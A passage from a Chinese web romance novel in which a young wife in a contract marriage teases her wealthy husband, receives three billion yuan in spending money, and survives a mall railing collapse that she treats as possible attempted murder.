虽然陆京御这么难搞她有些生气,但她再怎么逼他他也记得把她的箱子提进去…… 但是他吻她居然是想套她话! 这个好气! 这个不能原谅! 跟她接吻诶!他居然还能套她话!好狠的心!绝不原谅! 后来她选择让老天做决定,最终,秋千在“心急吃不了热豆腐”那儿停了下来。 荡完秋千,背后更亮了,是主卧亮起了灯。 江凝烟已经越挫越勇。这么难上的男人,她倒是要看看上到什么滋味。 哼- 翌日,刚好是周末。 一大清早,太阳当空照,陆京御一拉开落地窗,视线蓦地顿住。 江凝烟……大早上的居然在泳池边做早操? 她背对着他。 穿着分段的白色泳衣,不算特别暴露,但架不住她身材好,稍稍露一些就特别惊艳。长腿又长又直,腰肢纤细。 准确地说这也不是做早操,是在做游泳的暖身操。 双腿张开,伸展身体,缓缓转动上半身。 身体往下伸展,撅起屁股…… 陆京御微微撇开眼,秋日清晨的太阳忽然有些燥热难耐。 她的脸在做操时从腿间向后看,看见了他,因为头向下,整张脸涨得通红,看见他跟他笑了笑打招呼,“起来了?早上好啊。” 她的招呼很随意,好像很寻常的一声问候,然后用非常标准的动作,跳入水中。 陆京御观察了一下她,发现她游泳很好,泳姿很优美,游得也很快,有种能跟大自然融合的美妙,像是一条自由自在的美人鱼,本该在水里。 陆京御看了好长一会,才反应过来,觉得自己不该多看。 江凝烟已经游完一圈,见他站在阳台上,趴在池子边问他:“我游得好不好?” 阳光晒在她雪白的肌肤上,她的手臂像是牛奶一样白,肩颈脖子线条都优美得像是艺术品,这会儿一颗颗水珠反着光从她身上滚落,视觉冲击强烈到让他屏息。 她是属于那种素颜就很惊艳的姑娘,沾水之后,居然还能更加惊艳。 她笑容灿烂地看着他,满眼期待,水润润的眼睛更加惹人怜爱。 陆京御点点头,夸赞道:“很好,看起来很专业。” 江凝烟心满意足地笑了。她的笑容看起来很干净很纯粹,陆京御心脏在胸腔捣鼓,如雷贯耳,他觉得大清早的她这样笑他要是定力稍微弱点,大概她什么无理取闹的要求他都能答应她。 他杯子拿到嘴边,唇角牵起,哂笑,这大概就是她的目的。 她双手拉着扶手上来,身上大珠小珠落玉盘,冰肌玉骨,看起来匀称、柔美又有力。 就真的,特别好看。 陆京御杯子后面的唇线拉直。 就真的,过分,好看。 第15章 只要不提离婚,我每年给你三十亿零花钱 美好的周末。 江凝烟要写作业。 不过, 老师这作业布置得非常合她心意。 挑一部经典电影写人物心理剖析。 于是,陆京御路过客厅的时候,就看见了这一幕。 客厅里的百寸大电视机里播放着某些令人脸红耳赤的画面。 他的高端音响, 传出极有层次感和空间感的“嗯嗯啊啊”声音。 而江凝烟在认真地鉴赏电影,低头在电脑里敲些什么。 陆京御脊背僵住,顿住脚步, 不敢置信地向她看过去。 陆京御随手拿过遥控板, 把电视关了, 手揉了揉眉心, “你又在干什么?” “我写作业呢。”江凝烟莫名其妙道。 “有谁边写作业边看这个?”陆京御说。 “我们老师要我们写经典电影的人物心理剖析啊。《色.戒》不够经典?” “那么多经典电影你不挑, 你选这部?” “这部有什么不能被选择的理由吗?” 陆京御:“……” 谁不知道她就是在气氛渲染? 大清早穿泳装在那做操游泳, 吃完早饭,老实不了半小时,就开始在大庭广众之下看这种限制片。 陆京御说:“你不然去屋里看?你自己看看这客厅里,阿姨们都跑没了。” 连结婚几十年的阿姨都架不住你这样。 你一个小姑娘,你怎么会这样? 江凝烟站起来, 朝他逼近, 扫了眼他手里的遥控板, 又将视线落在他身上, “啊, 我影响阿姨工作了啊, 但我屋里没有电视机啊。” 陆京御心想:好,这就给你配一个, 你自己在屋里看个够。 “先用你的电脑, 电视机一小时内到。” 江凝烟乌黑的睫毛眨了一下, 像是羽毛挠在陆京御的心里,“屏幕太小了不方便, 不然,我去你屋里看?” 陆京御:“……” 你想得美。 “你换部片子看,谁规定一定要看这个了?” “我都写一半了,写完得了。”江凝烟伸手去拿他手里的遥控器,“写完我就可以陪你玩了。” 陆京御:“!” 谁要她陪他玩? 陆京御举起遥控板,“重写,作业多做点没事。” 江凝烟半挂在他身上上蹿下跳,“不要!我写完交差得了。” 陆京御被她蹭得受不了,浑身紧绷得像铁块。 她怎么这么会。 她这么会,他为什么不能好好享受? 哎。 他随手把遥控板抛到沙发上,双手捏住她的腰身,“要写人物心理剖析还是《凛冬那夜》带感。你写那部,写完奖励你。” 但他转念一想,又变了卦,“《凛冬那夜》也不行,你还是看《将夜》吧?《将夜》可以。” “为什么《凛冬那夜》不行?” 因为那里有个qj犯落在女主手里,女主用他奸.杀女性的方式,扒了他衣服,拿工具爆.菊。他吃不准这段电影是怎么拍的。 他不想让她看脱光衣服的任何男人。 陆京御只好说:“太暴力了,看点温暖点的?” 江凝烟内心哂笑,心想,他居然也觉得女主暴力?暴力也是那些男性罪犯先暴力的,女主只是架空世界赋予了她惩罚通缉犯的权利而已。 怎么着? 女性就一定得以德报怨?由着男人暴力,女人就只能温暖?然而有些人的心跟尸体一样根本暖不了。 江凝烟瞬间对陆京御兴致下降,点点头,故意说:“我也觉得那女主很变.态。这作者就该封杀,带坏那么多温暖可爱的女孩子。” 没想到陆京御拧眉正儿八经地说:“没有。小鹿不会因为眼睛水灵灵,老虎就不吃它;绵羊不会因为可爱,人们就不薅它羊毛;女性也不会因为温柔,就被全世界温柔以待。当可爱温柔被辜负的时候,保留血性,激发血性,竭尽全力去争取力量与权力是唯一的自救方式。化雾是个明白人。” 江凝烟失语。 有那么一瞬间她觉得要不是她在文里影射了太多自己的事和身边的人设,让他知道她就是化雾也无所谓。 可惜,她瞎写八写隐晦地写了太多。 他知道她是化雾的时候,大概就是他远离她的时候。 陆京御说:“昨晚的事,看见你会搏击其实我很惊喜,你有一定的自保能力。我只是不希望你主动冒险。当时只顾着批评你不顾危险,忘了赞扬你,搏击学得很不错。” 江凝烟觉得除了他的身体,他的嘴居然也能软化人! 她要化了! 太会说了,你再多说几句! 江凝烟:“你不会觉得我太暴力没个女孩子的样子?” 陆京御眼神温柔,“只有敌人才希望你弱,我当然希望你强大,我只是不希望你有危险。” 江凝烟微微笑了下,“那你干嘛不让我看《凛冬那夜》啊?” 陆京御思忖,做人物心理剖析,《凛冬那夜》这种犯罪类的悬疑片最合适,妥协道:“算了,我陪你看。” 江凝烟很快就知道陆京御为什么不让她看了。 遥控器在他手里,女主在扒一个QJ犯衣服,这段立刻被陆京御快进了。 江凝烟:“?” 干嘛? 这段爆.橘不是挺爽的吗? 后面,有一个男演员进浴室洗澡,这段又被陆京御快进了。 江凝烟:“……” 好啊好啊。 剥夺她看男人的权力,又不给她看他。 怎么? 搬进了他家就得做尼姑是吗? 但他这个行为也暴露了他的弱点。 原来他在意她看男人啊。 那她可就知道了。 江凝烟认认真真完成了作业之后,就开始刷手机,主动搜索肌肉男,花了没几秒钟的时间大数据就知道了她的癖好,给她推送的全是带劲肌肉男,有的还撕衣服。 吃午饭的时候,江凝烟看都没看一眼陆京御,光顾着看带劲肌肉男了。 内心其实觉得某些男的,那肌肉也太夸张了,不好看啊,毫无美感,表面还是看得津津有味。 陆京御听见她手机里的声音,循声望过去,眉心一蹙。 他阴阳怪气地开口,“吃饭还看?” 江凝烟眉梢微挑,“胃口倍好。” 陆京御眯眼审视她,觉得她八成又在耍花招,没搭理她。 等会手机里忽然传出男人酷酷的声音:“感谢凝凝小狮子的飞艇,那我来十个引体向上吧。” 陆京御:“???” 他的视线又射过去,江凝烟的昵称赫然就是凝凝小狮子。 她居然,给人刷礼物? 陆京御目光发冷,他在那费尽心思帮她争财产,她转手就给人刷礼物。 他真的被气到了。 视频里的男人就穿了件背心做引体向上,肌肉确实练得很好,肱二头肌一鼓一鼓的。 陆京御把她的手机抢了,反扣在桌面上,“能好好吃顿饭吗?” “干嘛?”江凝烟凑近他,眼眸犀利地注视着他,“你这儿是和尚庙加尼姑庵?禁欲?” 陆京御:“……” “声音太大,吵,好好吃饭。” 江凝烟继续气他,佯装维护刚才那个博主,说:“你可别随便把人家封杀了啊。” 还维护上了。 陆京御脸色暗沉,眸光凉飕飕的,“你放心,我不会随便摔人家饭碗。” 江凝烟打量他,这位好像人品真的在线。 权力巅峰的人有时候很难坚守底线,因为对他们来说呼风唤雨这种感觉太爽了,正常不会去为难自己利好他人。 但这位还挺讲道理挺有原则。 就是这么温柔的人让他发疯才有意思,发疯也不至于伤害自己,只会带点劲。 江凝烟安分了一会低头吃饭,吃完饭之后,拿过手机,继续看,“饭吃完了,可以看了吧?” 她抱住手机,“嘿嘿,帅哥还没下播。” 她给他又刷了个飞艇,心中暗道这主播小哥哥今天运气真好,偶然被她刷到,意外创收。 她手机外放,帅哥又说:“感谢凝凝小狮子的飞艇,那再来十个俯卧撑吧。” “啊?脱、脱掉?不好吧,凝凝小狮子我不脱衣服的。” 陆京御眼眸一眯,看来是江凝烟让他脱背心。 她平时在网上就是这么撩男人的? 不会刷到现实里来吧? “有节操,你喜欢啊?谢谢谢谢。”手机里男人的声音又传来。 陆京御慢慢悠悠地在咖啡机边上磨咖啡。磨完两杯之后,淡定地走到她边上,给她递了杯咖啡,“下午干什么?我陪你去逛街?” 不让她上,她花招实在太多,太不安分,不知道购物能不能让她安分点。 江凝烟侧眸,看立在沙发边上挺拔如松的男人。 哟。 他要给她花钱? 她给别的男人花钱,他还愿意给她花钱? 他怎么这么能忍啊? 因为有江家不爱她所以不愿意给她钱的前车之鉴,她觉得钱,可太能测试一个男人爱不爱她了。 其实,江凝烟对他到底爱不爱她无所谓,但这关系到她上他的难易程度。 从他给她花钱的慷慨,可以看出他有多在意她。 “你要陪我买什么?”江凝烟问。 “衣服、珠宝、包,你喜欢什么买什么。” 江凝烟说:“送给我的吗?” “送给你。” “上限多少啊?” 陆京御没直接回复,而是蹲下来,单膝下跪,从下往上看她,单手扶在沙发扶手上,一只手放在她的身侧。 两人的距离霎那间拉进。 她手机里还在传来男博主的声音。 陆京御伸手,将她的手机抽走,抽走的时候,手掌不可避免地碰到她的手指。他将她的手机屏幕按灭,男博主的声音戛然而止。 安静之后,他随手把她的手机抛开,抛到了沙发的另一边,眼神深邃又温柔,像是点了漆,说:“把婚前协议里那些条款删掉,我的上千亿全给你。” 江凝烟瞳孔缩放。 陆京御说:“把一年后离婚那个条款删掉,我的钱一半给你。” 江凝烟唇微微张开。 他的声音很温柔,但是每个字都像重锤一样,锤进江凝烟的心里。 陆京御:“要是不想删,只要你不提离婚一年,我每年给你三十亿零花钱,好吗?” 江凝烟真的没想到自己竟然值每年三十亿的零花钱,只要当年不提离婚就可以。 昨天她还在感慨,陆京御跟顾御洲的感情居然值得他豪掷百亿救他,没想到,她自己居然值每年三十亿的零花钱。 江凝烟从来没觉得自己是这么矜贵。 她目光水漾漾地注视着他,他分明长了一张很冷感的脸,那双凤眼居然看起来可以这么深情。 她都有些混乱了,像是坠入了漩涡,被卷得晕头转向摸不清方向。 但,转念一想,不是她值钱吧,是她姥爷值钱。 他应该不爱她,毕竟,又是宋初霖,又是肌肉博主的,他都冷静处理,也不吃醋也不发疯。 他肯定是把对她姥爷的感情全部转嫁到她身上了。 听说姥爷很多很多年前,大概是她刚出生的时候,帮过陆家一个大忙。陆爷爷被陷害抓进去,是她姥爷帮忙主持的公道。 或许陆家善良,总算找到机会报恩了。 但是,陆京御,你知不知道你报错恩了? 她姥爷对她也没那么有所谓。不过就是到底是血脉,财产肯定是不能便宜江家的,临死前他随手点一个人帮她忙而已。 “我不要你的钱。”江凝烟低声说。 要是以后分开了,她不仅骗了色还骗了那么多钱,那他肯定会提着四十米长的大刀追大半个地球砍她。 做人还是得给自己留点余地,不能太过分了。 男人被骗点色,他们可能还觉得享受,被骗钱,那就有深仇大恨了。 陆京御轻轻笑道:“怕拿了钱跑罪孽更重?” 江凝烟撅唇,瞪他一眼,“我是纯爱党。你别老污蔑我。” 那一眼水润润的,黑眼珠像是被水洗过的黑曜石,湛亮耀眼,但不知道为何陆京御觉得她眼底都是破碎的拼凑不齐的碎片。 江凝烟手拉了一把他的手腕,把单膝跪地的他拉起来,“你坐上来。” 陆京御顺势坐在了她的边上,跟她隔了半个屁股的距离。 江凝烟翻身,坐在他腿上,双臂缠上他的脖子,注视着他,“男人不是钱更重要吗?你怎么宁愿花钱哄我?” 陆京御双臂搁在自己身体两侧,没有环上去,手掌撑在沙发上,手背上青筋暴起看起来很带劲,却不往她身上搂,也不说话,就淡笑着看着她。 你也知道男人钱重要,那男人愿意把钱给你,你自己看。 江凝烟趴在他肩膀上,下巴搁在他坚硬的骨头上,他身上好硬,温度却很温暖,身上的味道也很好闻。江凝烟克制着自己体内的躁动,但她也知道他大概只愿意这样温存,再进一步,可能会被拒绝。 她下巴从他肩膀抬起来,额头顶着他的额头,两人的呼吸交缠在一起,午后的阳光好像更加炙热起来,晒烫了空气。 她心脏怦怦怦狂跳,第一次尝试主动跟他接吻,她发现自己只是靠近他,肾上腺素就开始飙升,她小心翼翼地试探地蹭他的鼻尖。 他鼻子长得好挺好端正,鼻梁很高,鼻翼却不宽,其实长得挺冷感的一个人,没想到很好说话。 她微微歪头,他的鼻息呼在她脸侧颈侧,她的手指难耐地抓紧了他胸前的衣料。 他的身体更紧绷了一些。 在她想一不做二不休吻上去的时候,门铃忽然响了。 陆京御唇角一勾,身体松下来,好像觉得这门铃响得正是时候,没想到江凝烟不肯罢休,唇依旧迅速贴了下他。 “啵”的一声,才从他身上挪开,然后,一脸得逞地笑看着他。 陆京御失笑,从沙发上起身去开门。 来的人是某银行的行长和经理,陆京御让他过来,给江凝烟办卡。 陆京御一边走一边跟江凝烟解释,“以后钱给你,但是金行长是老朋友了,还是存他这儿,你在他这儿开张卡。” 江凝烟瞳孔放大,这哥来真的? 这钱她敢花? 这不是拿命花钱? 江凝烟一直到拿到了银行卡,然后,手机短信提示到账金额人民币3000000000.00。她都有些不敢置信。 这是她二十年人生得来最容易的一笔巨款。 她其实并没有这种收人家钱很不好的道德感。 因为这个世界充满了谎言,有些道德束缚,其实是驯化,通过驯化她轻易地控制她,本质反而是不拿出实际的东西交换就占有一些利益。 她从十来岁开始就知道,满嘴仁义道德的人,最会吃人①。 他们什么都知道,知道怎么样精神控制一个人,让人乖乖被吃掉,让人分明被吃得骨头都不剩了,还沉溺于别人制定的规则里。 可是其实,每个人都只有一条命,首先得先存活,让自己体面的,不被剥夺生存空间的,不被随意碾压的,像个人一样骄傲地活着。 钱,是除了权以外最实际的东西。 30亿,只需要一年不离婚,而她这一年本来大概率也不会离婚,因为财产还没到手。 江凝烟还愣愣地看着短信金额,眼前又塞过来一张A4纸,上面只有简短的一行字,手写的,笔锋苍劲有力,字非常漂亮,内容简洁,说明了刚才那笔款项,只要一年内不提离婚,就不用退还。 这甚至不是个协议,只有一行字,再加陆京御的签名和私人印章。 江凝烟:“……” 她姥爷,好值钱。 “收好。”陆京御说。 江凝烟接过,唇角翘起来,人又蹭上去上蹿下跳,“我觉得你今天的壮举,值得我以身相许。” 趁机在他脸颊两边和唇上都亲了几口。 陆京御哭笑不得,控制住她一直在那儿蹭的身子,捏住她的腰笑,“拿了钱还不老实?” “随手给三十亿,你叫我怎么老实啊?”江凝烟脖子缠着他的,像两只交颈的天鹅。 陆京御快吃不消她了,“走吧,钱到了,去逛街。” 两人坐着适合装东西的劳斯莱斯,后面跟着一辆奔驰,坐了几个保镖一起去商场逛街。 陆京御其实很少做这种显眼包的做派,他一般需要什么都让人送进家里来,然而,这家真的没法待了,待下去今晚就能出事。 还不如把人带出来逛街。 但他倒是没想到,她挺会来事,拿着他刚给的钱,第一件买的是男士的东西。 “我给你挑件礼物吧?” 陆京御当然可以,“给我挑什么?” 江凝烟拿起一个银色缀了点黑色的男士耳骨夹。 陆京御的气质,戴着一定很好看。 斯文大佬有些小饰品可以增加骚气,她喜欢看他又贵又骚又劲的样子。 陆京御看了眼她手中托着的耳骨夹,他圈子里倒确实有人戴这个,除了裴清誉就是他那帮跟他一样爱闹爱玩的小伙伴。普遍不是成熟稳重的那类。 他皱着眉,犹豫了一下。 他几乎能想到他要是戴着这玩意出席各种会议,别人会如何对他行注目礼。 江凝烟眼睛亮晶晶地注视着他,“别人戴可能有点太骚,你戴绝对帅气不减霸气。” 陆京御跟她谈条件,两人咬耳朵说:“我戴这个你老实点?” 江凝烟摇摇头,狡黠地道:“那恐怕更不老实,因为更帅了,我忍不住。” 陆京御捏了一下她腰窝,江凝烟弯着身子咯咯咯笑,“我给你戴上看看。” 陆京御没拒绝她。 江凝烟小心地给他戴上,“不舒服吗?要不要调整下?” “挺好的。”耳骨那确实有些不适应,但还是可以接受。 江凝烟拿出手机给他拍了张侧面照,她研究过一些摄影,陆京御模样又好,侧脸轮廓完美,奢侈品店里光线柔软暖黄,随手一构图,就感觉像出了大片。 她高兴道:“你看看,很好看!” 陆京御悄声跟她说:“昨天差点被发现,今天不然秀个恩爱?再去帮我拍张站着的。” 江凝烟被他吹得半边脸都麻了,笑着离远了点,给他拍了几张站着的。陆京御拍照几乎都不需要摆拍,站在那儿自然而然就有超绝的氛围感。 陆京御发了条朋友圈,照片配上了文字,【重点是耳骨夹。提前打个招呼,老婆买的,必须戴着。】 他这条朋友圈一发,瞬间点满了赞,评论一大堆,有夸他帅的,有调侃他骚的,连长辈都冒出来不少。 陆爸爸:【噢哟,儿媳妇眼光真好。】 陆妈妈:【儿媳妇拍的照吧?拍得真棒啊!】 陆爷爷:【孙媳妇这拍照技术有拍电影的天赋。拍得真帅。】 就这还能被赞扬一下,江凝烟笑道:“你小时候你爸妈夸你吗?” 陆京御那眼神,拽得没边了,“怎么可能不夸?” 江凝烟:“……” 好好好。 你优秀。 看见江凝烟的表情,陆京御皱眉,“你家里人不夸你?” 江凝烟笑笑,扬起下巴骄傲道:“当然也夸。” 只不过都是哄骗她。江家人不会真心觉得她好她优秀。她的性别就决定了他们看不上她。 而姥爷不屑哄骗她也没夸过她。 陆京御注视着她,眼神像是能洞悉一切,看得江凝烟心虚,江凝烟说:“我还要帮你挑礼物。” 陆京御的朋友圈某幢四合院里正在吃晚饭的宋枝意夫妇也看见了。宋枝意把手机摊开来给顾御洲和宋初霖看。 顾御洲点评说:“以我对他的了解,他演技不咋滴。” 对江凝烟的喜欢不像演的。 宋初霖眉心一皱,顿时食物像堵在喉咙口。 顾御洲很怀念地跟宋枝意说:“你还记不记得我们初中的时候演了个话剧?他对着他的女主角演了半天都是面瘫?楚巧臻不是都被他整破防了?” 宋枝意当然记得。陆京御那面瘫能演什么?什么都不会演。 她伸手拍了拍宋初霖的肩膀,“确实。陆京御这辈子怎么努力都干不了的职业大概就是演员。” 这时,顾御洲手机里又收到一条微信,陆京御的,【在吃饭?】 顾御洲眉梢一挑,多年交情,知道他在刺探什么,【嗯,在一起呢。】 陆京御发了一张汇款记录过来,三十亿,然后问他:【你一年给老婆多少零花钱?三十亿少吗?】 顾御洲:“……” 懂了。 他问宋枝意说:“京御给江凝烟三十亿零花钱,让我问问你给老婆一年三十亿零花钱,会觉得少吗?” 宋枝意:“……” 有谁会觉得少吗? 宋初霖好不容易平复的心情又不好了,一边吃着饭一边强忍着眼泪,最终还是眼泪拌饭。 顾御洲:“……” 哎,京御也真是残暴,非得这么痛下杀手。 江凝烟还在兴致勃勃地挑领带夹,挑皮手套,挑各种各样骚包的配饰,完全不知道某人在暗戳戳虐待情敌。 第16章 战损陆总很man很酷 江凝烟给陆京御买了很多饰品之后, 才到四楼自己经常去的店买衣服和鞋。 她不喜欢穿细高跟鞋,觉得行动不便,即使是穿礼服, 穿高跟鞋会显腿更长,也只穿短跟的。 江凝烟边挑鞋边观察陆京御。 鞋子当然是细高跟的漂亮,但她挑了好几双舒服方便的鞋后, 他依然没有任何意见。 她发现他陪她逛街, 不指手画脚, 不会告诉她他喜欢哪个, 但也不嫌麻烦不敷衍不玩手机, 注意力一直在她身上。 江凝烟对他表现出来的这种细节还挺满意。 两人走出店, 在走廊那儿遇见一辆推车,工作人员扶着高高的货物路过,东西堆得太高,陆京御怕别人视线不好,不小心冲撞到她, 搂住了她的腰, 往栏杆边上靠了靠, 自己的后背面向工作人员。 但另一边的工作人员可能没看见他们这边已经很拥挤了, 推车过程中还是把车微微往他们那倾斜了下。 靠着陆京御的工作人员肩膀撞到了陆京御的脊背, 连连对对面那个工作人员喊:“别往我这边挤了, 我这边没路了,撞到人了!” 江凝烟也被陆京御的重量压了一下, 她还以为这股力道会让她撞到身后的栏杆。但没想到陆京御双手撑在栏杆上, 硬生生的用身体的力量扛住了那一下冲撞。 江凝烟被他圈在栏杆和他身体之间。 然后, 霎那间,江凝烟看见陆京御表情变了, 他的身体撑不住地朝她压过来! 因为他撑着的栏杆骤然被他的力道压垮! 整片玻璃栏杆向后倒去! 他们在四楼,摔下去必死! 江凝烟的上半身已经探出空中,商场里分明没有风,但是她感觉后背像是刮起了阴风拽着她进地狱! 要坠楼了! 完全没料到的! 她出于求身本能下意识地伸手搂住陆京御的腰,“啊!” 陆京御那双向来淡定的眸子猛烈一缩。 两人的身子都向下倾斜。 就在江凝烟以为要坠楼,要惨死的时候,陆京御不知道哪里发力来了一股劲,紧紧搂住她的腰,使劲将两人往走廊里面摔去。 “嘭!” 陆京御的脊背撞在大理石地面上,地面光滑,他们在地上滑了好一段距离。 停下来的时候,陆京御的肩胛骨和手肘生疼。 江凝烟听见他的闷哼声,听着就疼。 “嘭!哗啦啦啦!” 两片硕大的玻璃砸落到一楼广场,广场下面一阵惊恐的尖叫。 本来寂静的商场顿时喧闹嘈杂。 不知道有没有砸到人。 江凝烟倒是没摔疼,躺在陆京御胸膛上冷汗淋漓,被刚才的悬空感吓得一身冷汗。 她们刚刚真的是一只脚踏进了鬼门关。 如果不是陆京御的平衡力强悍到非人,他们两人都会被撞下去,摔死。 刚才那两个工作人员过来道歉,“天呢?没事吧?” 江凝烟神情一凛,“扣住他们!” 她吩咐一个保镖,“去叫商场管理人员,立刻到监控室,不能让任何人动监控!” 说话之后,坐在陆京御身边报警,“XX商场,被人撞得差点摔下楼,玻璃护栏都撞碎了,请彻查是不是杀人未遂。” 陆京御也坐了起来,神情冷凝。 他发现她打完电话,就已经对着现场玻璃那边一顿拍照。 陆京御怕她危险,起来靠近她,“小心滑倒。” 上面都是碎玻璃渣。 江凝烟主要想看这玻璃底部有没有被动过手脚的痕迹,“你刚才推玻璃很用力吗?” 陆京御说:“是挺用力,但这就碎了,真的没想到。” 江凝烟走到边上玻璃还完好的地方,手晃了晃,这片玻璃晃动也很厉害,“根本没固定好。” 商场经理这时跑过来,连连鞠躬道歉道:“对不起对不起,这边整片玻璃胶老化裂了,今天才新安装的,玻璃胶可能没彻底干,我的天呢,我让人安装完之后放警戒线的啊,怎么没有警戒线?” 江凝烟听闻冷笑,她循着他的视线望去,转角处有收着的警戒线,放在那里,就是没人把它放在该放的位置。 她那双眼眸犀利得像是能剥开人皮的刀子,“你让谁放的啊?” 商场经理人高马大的,但被她盯得发怂,说:“手下一名保安。” 江凝烟说:“刚施工完,胶水都没凉干,你自己不来看看?这玻璃今天什么时候换完的?” 商场经理仓惶地解释道:“应该是下午吧,我一下午都在外面开会,走之前特意吩咐人放了。对不起对不起,是我们管理疏忽。” 江凝烟完全不饶他:“这么高级的商场,犯这么低级的错误,你们告诉我这是疏忽?” 这可是她和陆京御的命。 但大概率就算她们摔死了,事情可能到这次事件的负责人过失致人死亡就完了。 封顶只判七年。 而这七年还能减刑,没两年就出来了。 如果背后有人指使,出来八成升职加薪,前途无忧。 江凝烟说:“把那个保安也叫来。” 不一会儿,一个保安来了,江凝烟问他:“为什么没放警戒线?” 保安说:“我放了啊,怎么没了?” 被保镖控制住的工人说:“我们搬东西嫌碍事,拿走了。” 江凝烟三两步走到他面前,目光盯着他审视,黑眸像是扫描仪一样剖析他,“你拿走的?你还撞了我们。” 宽脸寸头工人说:“对啊,这个推车轮子不大好使,老是往这边滚,他推的时候还一直往我这边推。” 另一个瘦脸工人说:“我好好地在推啊。我可没故意往你那使劲。你怎么说话的?” “你们来这儿干什么的?” “这里有家店在装修。” “你们认识多久了?一直在一起干活?” 瘦脸男说:“没有,才认识。” 宽脸寸头男说:“我们装修都是老板临时叫人的,工地那么多当然不一定都认识。” 江凝烟说:“给你们负责人打电话,让他确认你们身份。” 两人都给包工头打了电话,包工头确认了他们身份。 看起来一切都是巧合。 附近有家店在装修,找了装修工人,半路撞到他们,玻璃刚好坏了。 到警方那儿,没造成伤亡,不深查什么也查不出来。 那也不能排除故意杀人未遂,这家店的衣服和鞋子还有配饰她都喜欢,她逛得比较高频。一两个月肯定会来一次。以前都是自己来。 这完全是可以策划的。 这时,警方到了。 一行人都去了警局。 江凝烟在路上就开始低头写东西,到了警察局滔滔不绝地说:“第一,调查监控,看这段时间这片玻璃是不是自然坏的,有没有人刻意破坏。” “第二,问商场负责人他们一般的装修制度是怎么样的,商场的货梯在哪儿,他们是不是正常走的货梯。这家店装修,东西从这边运过,是谁指的这条路径。这条路径跟之前的店家装修路径有没有区别。” “第三,这个装修队的工人、包工头、老板,以及装修店家都得盘问。尤其是那两个工人,必须调查他们是不是专业的装修工人,家庭背景如何,从业经历都得查清楚。这两人嫌疑最大。” 她一边说,一边把一张纸递给了警方,上面写了一堆详细需要盘问包工头、老板、以及店家,商场负责人的问题,然后总结道:“这些问题我都想知道,麻烦警察同志帮我问下。我俩的身份,想要我们死的人肯定有,所以,麻烦警官同志必须深入调查。” 警察小哥办案也挺久了,见过对警方不放心的,没见过这么不放心的,连需要问什么问题全都自己写完了,“我会问的。回去等消息吧。” 江凝烟和陆京御两人走出警察局,坐进车里,陆京御伸手将她抱来自己腿上。 陆京御刚才一直没怎么说话,全程看着江凝烟的行为,没有多问,也没有多说,因为她处理得已经非常好了,她来主导,他没什么不放心。 “吓到了吗?别怕。” 这时前排司机打断了他们,说:“陆总,我们去哪家医院?” 江凝烟这时才反应过来,精神高度紧张,居然没有关心陆京御的后背撞得怎么样? 车里布满了浓郁的血腥味,直直往她鼻腔里钻。 她瞳孔微微缩放,摸了下他的后背,摸到一把粘稠的液体,“你后背被玻璃渣割伤了?怎么不早说?” 陆京御眼神控诉:我流了一地的血你也看不见啊。还要我说。还说爱我,真的是骗我的。 前面的司机大哥说:“保镖想说,他看你在忙,没让他们打断你。” 江凝烟懊恼,居然注意力全在案子上面,完全忽略了陆京御,刚才还多亏他身体给力,否则她已经见阎王了。 她轻轻转过他的身子,看了下他的后背,好巧不巧的,今天陆京御没有穿西装,就穿了件衬衣,白衬衣被玻璃渣磨破了好几道口子,上面已经浸满了血。 有几道皮开肉绽的伤痕。 “伤得好重。”江凝烟惊叹道,“好多血,怎么不早说?先去医院治啊,治完再来做笔录就好了。” 她一说你怎么不早说啊,就接收到陆京御一言难尽的眼神。 江凝烟叹气,是她没看见,没注意。 流了有半个多小时血了吧,血都要流干了。半个多小时她都没发现,说再多爱都没用了。 江凝烟深深看了他一眼,撩了下他额前微乱的刘海,道:“我确实被吓到了,要不是你我就没命了。今天战损陆总很man很酷。从今以后,我们也算过命交情了。” 最后快掉下去的时候如果他平衡力没那么强,恐怕会被她拽下去。 还好,他挺住了。 他们俩都活下来了。 陆京御心想:我保护了你,但你好像一点都不感动的样子。 凶手是谁比他流血重要。 也没有想依靠他,一点都没有。 陆京御虽然也知道她嘴上甜言蜜语,实则没几分真心,但她对他的冷漠超过了他的想象。 伤心。 很伤心。 但伤心归伤心,此刻重要的是:她,在害怕。 他抱住她道:“看来是被吓坏了,都不趁机占我便宜了。” 江凝烟:“……” 第17章 “我第一次,你不能使劲。”     …… 陆京御在处理伤口, 江凝烟在边上看着。 用炙热的,滚烫的,热情的视线目不转睛地看着。 看着他赤裸的上半身。 陆京御这人斯文, 衣着时常板正,即使在家里,家居服也穿得妥妥帖帖, 一点不会暴露。 那次深夜深V已经是巨大福利了。 没想到短短一日, 又能有这等福利! 陆京御后背正在被处理伤口, 如火般灼烧, 前面还被她用色眯眯的视线灼烧。 他真的会被她气死, 他后背好疼啊, 她还只顾着那档子事。 看看那眼睛里有半点心疼吗? 没有,完全没有。 全是那档子事! 就在快发火轰人时,注意力被后背一道强烈的痛楚给拉走。 医生上消毒药水了。 “嘶——” 他膝盖上的拳倏地拽紧,整条臂膀紧绷,上面长条形的肌肉虬结, 肱二头肌越发明显。 深吸一口气, 像鹅卵石般饱满的腹肌清晰而深刻。 江凝烟的眼睛发光, 激动得战栗。他冷白的肌肤上渗了点冷汗, 在医院的白炽灯光线下白得透粉, 水淋淋的, 视觉冲击让她浑身克制不住地升温发抖。 这么矜贵养得这么好的男人被摧残了的破碎感好绝啊。 陆京御疼得要死,额头坠下几滴冷汗, 脖颈上的血管清晰得像是要爆裂。身上的细胞像是同时在被屠杀, 疼得他眼冒金星。 他强忍着咬牙压下这波疼痛, 抬眼便看见江凝烟兴奋的眼神。 陆京御:“?” 完全无法遮掩的,垂涎欲滴。 陆京御:“……” 他越疼, 她越兴奋? 还有没有人性? 他真的、会被气死。 他真的,没有见过这么没有同情心的人! 怎么会有人不表演的时候,真实得冷漠到让人心寒呢? 有人会对对方的伤痛无动于衷,还兴奋吗? 他额间的青筋都快爆了,被气的,他深吸了一口气,扬声对门外的保镖喊道:“阿深,把夫人带出去!” 江凝烟猛地回过神来,不肯让福利打折,“不要不要!我得看着你,都是为了我受伤的,我得陪着你。我怎么能走呢?” 所有的福利她都得全额收取! 拒绝福利限时,拒绝福利打折! 她手指搭上他赤裸的肩膀,上面的肌肉还硬邦邦的,“疼不疼啊?心疼死我了。啊,老公,肯定疼死了。” 她的手指从他的肱二头肌滑落,到他大臂上。 陆京御简直没眼看。 别演了,你就是、想摸我! 他肩膀抖了一下,把她的爪子抖掉。 阿深推门进来,江凝烟掉转头,对阿深道:“陆总要强,不肯让我看见他这个样子,但是,此时此刻,他最需要的是陪伴,对不对?” 她语气十分真诚地道。 陆京御:“……” 你的陪伴让我心寒。 